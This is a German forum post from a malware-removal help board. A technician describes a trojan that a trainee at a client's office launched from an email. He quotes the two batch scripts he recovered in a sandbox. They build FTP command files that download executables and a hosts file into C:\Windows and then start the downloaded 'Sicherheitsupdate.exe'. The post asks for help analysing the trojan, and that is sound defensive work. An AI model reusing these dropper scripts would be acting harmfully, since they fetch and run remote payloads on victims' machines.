| |
| |||||||
Plagegeister aller Art und deren Bekämpfung: Selbstgebastelter Trojaner? Funktion unbekannt?Windows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
12.03.2011, 15:02
| #1 |
| |  Selbstgebastelter Trojaner? Funktion unbekannt? Hallo Forum!  Ich drehe hier am Rad... Bei einem Kunden hat ein Azubi irgendeinen Scheiss aus einer Email ausgeführt. adobeupdater.exe Durch paar Tricks mit der Sandbox habe ich herausgefunden: 1) es wird im temp verzeichniss eine bat angelegt mit foglendem inhalt: " o ftp.XXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXX weiswein007 bin lcd C:\Windows prompt mget Windows.exe mget hosts bye " Desweiteren werden dann per FTP anscheinend 4 Files geholt. eine Hosts datei, "port.exe" + "Sicherheitsupdate.exe" + "windows.exe" und im c:\windows verzeichniss gespeichert! Die Sicherheitsupdate.xe kreirt ebenfalls eine batt mit folgendem inhalt: "@echo off bjfeobefwbuoefwbuiofebuoebfwobuoefuhfuhefwu6895169516951695169051690516905160915609516060516051e uhfbuiwdvbuievbuivwebuvwebuvwebuwevubgeuweg69851695169051690516905169015690guivgfewefwiugefgiuwe bvuiebuiewbuiwevbuevwbuwevbuwevbuevwbuiwevbuwevbuevbuwevbubuwevguiwefugwevubgiwevubgievwbuievwbui buvwbuowvbhovwbouivwbouivwboivrguovrghiorghoijvriobhvrvrbuvrbuvrbuvrbuvbu86956895168951689516905e jhfjkfgjfgjkfJBKfjkbgfjkgfJjbfjbffbjfbjk86956895168516895168915guifguifguifguifguif65651651651651 hjbjkiioi896569569569569561512gjbjvbowvbowvbbjbuiewbuiecbuiebuiebfui698516951651695169516givGUIvgu uhfbuiwdvbuievbuivwebuvwebuvwebuwevubgeuweg69851695169051690516905169015690guivgfewefwiugefgiuwe bvuiebuiewbuiwevbuevwbuwevbuwevbuevwbuiwevbuwevbuevbuwevbubuwevguiwefugwevubgiwevubgievwbuievwbui buvwbuowvbhovwbouivwbouivwboivrguovrghiorghoijvriobhvrvrbuvrbuvrbuvrbuvbu86956895168951689516905e jhfjkfgjfgjkfJBKfjkbgfjkgfJjbfjbffbjfbjk86956895168516895168915guifguifguifguifguif65651651651651 uhfbuiwdvbuievbuivwebuvwebuvwebuwevubgeuweg69851695169051690516905169015690guivgfewefwiugefgiuwe bvuiebuiewbuiwevbuevwbuwevbuwevbuevwbuiwevbuwevbuevbuwevbubuwevguiwefugwevubgiwevubgievwbuievwbui buvwbuowvbhovwbouivwbouivwboivrguovrghiorghoijvriobhvrvrbuvrbuvrbuvrbuvbu86956895168951689516905e jhfjkfgjfgjkfJBKfjkbgfjkgfJjbfjbffbjfbjk86956895168516895168915guifguifguifguifguif65651651651651 uhfbuiwdvbuievbuivwebuvwebuvwebuwevubgeuweg69851695169051690516905169015690guivgfewefwiugefgiuwe bvuiebuiewbuiwevbuevwbuwevbuwevbuevwbuiwevbuwevbuevbuwevbubuwevguiwefugwevubgiwevubgievwbuievwbui buvwbuowvbhovwbouivwbouivwboivrguovrghiorghoijvriobhvrvrbuvrbuvrbuvrbuvbu86956895168951689516905e jhfjkfgjfgjkfJBKfjkbgfjkgfJjbfjbffbjfbjk86956895168516895168915guifguifguifguifguif65651651651651 uhfbuiwdvbuievbuivwebuvwebuvwebuwevubgeuweg69851695169051690516905169015690guivgfewefwiugefgiuwe bvuiebuiewbuiwevbuevwbuwevbuwevbuevwbuiwevbuwevbuevbuwevbubuwevguiwefugwevubgiwevubgievwbuievwbui buvwbuowvbhovwbouivwbouivwboivrguovrghiorghoijvriobhvrvrbuvrbuvrbuvrbuvbu86956895168951689516905e jhfjkfgjfgjkfJBKfjkbgfjkgfJjbfjbffbjfbjk86956895168516895168915guifguifguifguifguif65651651651651 > %0.ftp echo o XXXXXXXXXXXXXXXXXXXX >> %0.ftp echo XXXXXXXXXXXXX >> %0.ftp echo weiswein007 >> %0.ftp echo bin >> %0.ftp echo lcd %WINDIR% >> %0.ftp echo prompt >> %0.ftp echo mget Sicherheitsupdate.exe >> %0.ftp echo bye ftp -s:%0.ftp ping -n 60 localhost > nul & start %WINDIR%\Sicherheitsupdate.exe exit" Desweiteren werden einige andere files angelegt und FTP requests asgeführt welche ich nicht so schnell tracen konnte.... Hilft mir mal bitte. Was ist das hier für eine *******?!! Ich muss die Kiste nachher platt machen... das werden 5-6 Stunden arbeit sein...... im anhang findet ihr 1x die ursprungs EXE sowie die 3-4 files welche die bat datei herunterlädt... EDIT: ok die restliche files kann ich nicht im board anhngen da größer als 148kb... Geändert von Markus09 (12.03.2011 um 15:35 Uhr) |
| Themen zu Selbstgebastelter Trojaner? Funktion unbekannt? |
| andere, anhang, arbeit, bat, board, datei, ebenfalls, email, files, folge, forum, funktion, gespeichert, inhalt, kis, kunde, localhost, scheiss, schnell, start, stunden, temp, tricks, trojaner, trojaner?, unbekannt |
Baum-Darstellung